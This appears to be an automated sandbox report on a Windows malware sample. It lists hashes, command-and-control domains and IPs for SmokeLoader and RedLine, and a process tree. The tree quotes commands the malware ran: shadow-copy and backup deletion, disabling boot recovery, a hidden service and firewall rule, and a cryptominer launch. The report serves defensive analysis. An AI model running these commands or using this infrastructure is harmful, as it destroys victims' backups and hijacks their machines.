Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    20/09/2021, 22:31

General

  • Target

    d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62.exe

  • Size

    215KB

  • MD5

    946643f9d05ddb17aed8861b787dc9ef

  • SHA1

    987017fd4f6a5f63beff0f47dda9cc67ff9b9c75

  • SHA256

    d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62

  • SHA512

    bbf2813833b6f66ee32ec6498b4673a7489f7867066aaa3a2875de9b7ae78867375b660a7ad73695f3568c838cea1e8a3f1c6ecc22b63e05cfd1a1c4336f8853

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Extracted

Family

redline

Botnet

khrip1k

C2

91.142.77.155:5469

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 29 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 42 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62.exe
    "C:\Users\Admin\AppData\Local\Temp\d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Users\Admin\AppData\Local\Temp\d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62.exe
      "C:\Users\Admin\AppData\Local\Temp\d64d8eed644caf8ae70e7ca3b427e10382d196636f0c189bb6a43ba3f39feb62.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2468
  • C:\Users\Admin\AppData\Local\Temp\F68B.exe
    C:\Users\Admin\AppData\Local\Temp\F68B.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Users\Admin\AppData\Local\Temp\F68B.exe
      C:\Users\Admin\AppData\Local\Temp\F68B.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3484
  • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
    C:\Users\Admin\AppData\Local\Temp\FDDF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Users\Admin\AppData\Local\Temp\FDDF.exe
      C:\Users\Admin\AppData\Local\Temp\FDDF.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4080
  • C:\Users\Admin\AppData\Local\Temp\89E.exe
    C:\Users\Admin\AppData\Local\Temp\89E.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:3668
  • C:\Users\Admin\AppData\Local\Temp\6611.exe
    C:\Users\Admin\AppData\Local\Temp\6611.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ncbvynhm\
      2⤵
        PID:3836
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ybucacku.exe" C:\Windows\SysWOW64\ncbvynhm\
        2⤵
          PID:2044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ncbvynhm binPath= "C:\Windows\SysWOW64\ncbvynhm\ybucacku.exe /d\"C:\Users\Admin\AppData\Local\Temp\6611.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1388
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ncbvynhm "wifi internet conection"
            2⤵
              PID:1172
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ncbvynhm
              2⤵
                PID:652
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1804
              • C:\Users\Admin\AppData\Local\Temp\73BE.exe
                C:\Users\Admin\AppData\Local\Temp\73BE.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:656
              • C:\Windows\SysWOW64\ncbvynhm\ybucacku.exe
                C:\Windows\SysWOW64\ncbvynhm\ybucacku.exe /d"C:\Users\Admin\AppData\Local\Temp\6611.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1864
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:2268
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:2560
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        4⤵
                          PID:2784
                  • C:\Users\Admin\AppData\Local\Temp\82F2.exe
                    C:\Users\Admin\AppData\Local\Temp\82F2.exe
                    1⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1504
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\82F2.exe"
                      2⤵
                        PID:1572
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          3⤵
                          • Delays execution with timeout.exe
                          PID:2796
                    • C:\Users\Admin\AppData\Local\Temp\A4C3.exe
                      C:\Users\Admin\AppData\Local\Temp\A4C3.exe
                      1⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Modifies extensions of user files
                      • Adds Run key to start application
                      • Drops desktop.ini file(s)
                      • Enumerates connected drives
                      • Drops file in System32 directory
                      • Drops file in Program Files directory
                      • Drops file in Windows directory
                      • System policy modification
                      PID:1028
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                        2⤵
                        • Interacts with shadow copies
                        PID:588
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                        2⤵
                        • Interacts with shadow copies
                        PID:2784
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:3748
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                        2⤵
                        • Interacts with shadow copies
                        PID:3576
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:1380
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:3600
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:2492
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                        2⤵
                        • Interacts with shadow copies
                        PID:1016
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                        2⤵
                        • Interacts with shadow copies
                        PID:1784
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:4008
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                        2⤵
                        • Interacts with shadow copies
                        PID:3576
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                        2⤵
                        • Enumerates connected drives
                        • Interacts with shadow copies
                        PID:3996
                      • C:\Windows\SYSTEM32\vssadmin.exe
                        vssadmin.exe Delete Shadows /All /Quiet
                        2⤵
                        • Interacts with shadow copies
                        PID:1016
                      • C:\Windows\SYSTEM32\bcdedit.exe
                        bcdedit.exe /set {default} recoveryenabled No
                        2⤵
                        • Modifies boot configuration data using bcdedit
                        PID:4024
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                          • Enumerates connected drives
                          PID:3576
                      • C:\Windows\SYSTEM32\bcdedit.exe
                        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                        2⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2992
                      • C:\Windows\SYSTEM32\wbadmin.exe
                        wbadmin DELETE SYSTEMSTATEBACKUP
                        2⤵
                        • Deletes System State backups
                        PID:3772
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                          • Enumerates connected drives
                          PID:1784
                      • C:\Windows\SYSTEM32\wbadmin.exe
                        wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                        2⤵
                        • Deletes System State backups
                        • Enumerates connected drives
                        • Drops file in Windows directory
                        PID:1016
                      • C:\Windows\System32\Wbem\wmic.exe
                        wmic.exe SHADOWCOPY /nointeractive
                        2⤵
                          PID:1160
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            3⤵
                              PID:2992
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\A4C3.exe >> NUL
                            2⤵
                              PID:3496
                          • C:\Users\Admin\AppData\Local\Temp\B06C.exe
                            C:\Users\Admin\AppData\Local\Temp\B06C.exe
                            1⤵
                            • Executes dropped EXE
                            PID:420
                          • C:\Windows\system32\vssvc.exe
                            C:\Windows\system32\vssvc.exe
                            1⤵
                              PID:3672
                            • C:\Users\Admin\AppData\Local\Temp\B928.exe
                              C:\Users\Admin\AppData\Local\Temp\B928.exe
                              1⤵
                              • Executes dropped EXE
                              PID:3668
                            • C:\Windows\system32\DllHost.exe
                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                              1⤵
                              • Drops file in Windows directory
                              PID:3772

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • memory/420-253-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                              Filesize

                              4KB

                            • memory/420-237-0x0000000002380000-0x000000000239F000-memory.dmp

                              Filesize

                              124KB

                            • memory/420-239-0x0000000002430000-0x000000000244E000-memory.dmp

                              Filesize

                              120KB

                            • memory/420-246-0x0000000007220000-0x0000000007221000-memory.dmp

                              Filesize

                              4KB

                            • memory/420-250-0x00000000006B0000-0x00000000006E0000-memory.dmp

                              Filesize

                              192KB

                            • memory/420-252-0x0000000000400000-0x0000000000467000-memory.dmp

                              Filesize

                              412KB

                            • memory/420-254-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

                              Filesize

                              4KB

                            • memory/420-255-0x0000000004AC3000-0x0000000004AC4000-memory.dmp

                              Filesize

                              4KB

                            • memory/420-256-0x0000000004AC4000-0x0000000004AC6000-memory.dmp

                              Filesize

                              8KB

                            • memory/656-200-0x00000000050D0000-0x00000000050D1000-memory.dmp

                              Filesize

                              4KB

                            • memory/656-198-0x0000000005080000-0x0000000005081000-memory.dmp

                              Filesize

                              4KB

                            • memory/656-190-0x0000000000A00000-0x0000000000A01000-memory.dmp

                              Filesize

                              4KB

                            • memory/656-199-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

                              Filesize

                              1.6MB

                            • memory/1028-228-0x00007FF6BB710000-0x00007FF6BBF88000-memory.dmp

                              Filesize

                              8.5MB

                            • memory/1504-211-0x0000000000400000-0x0000000004605000-memory.dmp

                              Filesize

                              66.0MB

                            • memory/1504-210-0x00000000065B0000-0x000000000A68F000-memory.dmp

                              Filesize

                              64.9MB

                            • memory/1864-205-0x0000000000460000-0x00000000005AA000-memory.dmp

                              Filesize

                              1.3MB

                            • memory/1864-206-0x0000000000400000-0x0000000000454000-memory.dmp

                              Filesize

                              336KB

                            • memory/2208-117-0x0000000000550000-0x0000000000559000-memory.dmp

                              Filesize

                              36KB

                            • memory/2268-201-0x0000000000C20000-0x0000000000C35000-memory.dmp

                              Filesize

                              84KB

                            • memory/2284-178-0x0000000000570000-0x0000000000583000-memory.dmp

                              Filesize

                              76KB

                            • memory/2284-179-0x0000000000400000-0x0000000000454000-memory.dmp

                              Filesize

                              336KB

                            • memory/2468-115-0x0000000000400000-0x0000000000408000-memory.dmp

                              Filesize

                              32KB

                            • memory/2560-257-0x0000000000800000-0x00000000008F1000-memory.dmp

                              Filesize

                              964KB

                            • memory/2752-142-0x00000000004C0000-0x000000000056E000-memory.dmp

                              Filesize

                              696KB

                            • memory/2856-129-0x0000000004E10000-0x0000000004E11000-memory.dmp

                              Filesize

                              4KB

                            • memory/2856-130-0x0000000005320000-0x0000000005321000-memory.dmp

                              Filesize

                              4KB

                            • memory/2856-128-0x0000000000F20000-0x0000000000F21000-memory.dmp

                              Filesize

                              4KB

                            • memory/2856-127-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              Filesize

                              4KB

                            • memory/2856-125-0x0000000000440000-0x0000000000441000-memory.dmp

                              Filesize

                              4KB

                            • memory/3040-159-0x0000000000DD0000-0x0000000000DE5000-memory.dmp

                              Filesize

                              84KB

                            • memory/3040-118-0x0000000000D30000-0x0000000000D45000-memory.dmp

                              Filesize

                              84KB

                            • memory/3668-137-0x0000000001190000-0x0000000001191000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-141-0x0000000005110000-0x0000000005111000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-145-0x0000000005040000-0x0000000005041000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-143-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

                              Filesize

                              1.6MB

                            • memory/3668-174-0x00000000079D0000-0x00000000079D1000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-278-0x0000000000400000-0x0000000000503000-memory.dmp

                              Filesize

                              1.0MB

                            • memory/3668-150-0x0000000005080000-0x0000000005081000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-139-0x0000000005610000-0x0000000005611000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-277-0x0000000002060000-0x00000000020F0000-memory.dmp

                              Filesize

                              576KB

                            • memory/3668-140-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

                              Filesize

                              4KB

                            • memory/3668-144-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

                              Filesize

                              4KB

                            • memory/4080-168-0x00000000065A0000-0x00000000065A1000-memory.dmp

                              Filesize

                              4KB

                            • memory/4080-172-0x00000000073E0000-0x00000000073E1000-memory.dmp

                              Filesize

                              4KB

                            • memory/4080-158-0x0000000004A10000-0x0000000005016000-memory.dmp

                              Filesize

                              6.0MB

                            • memory/4080-146-0x0000000000400000-0x0000000000422000-memory.dmp

                              Filesize

                              136KB

                            • memory/4080-160-0x00000000062B0000-0x00000000062B1000-memory.dmp

                              Filesize

                              4KB

                            • memory/4080-162-0x00000000069B0000-0x00000000069B1000-memory.dmp

                              Filesize

                              4KB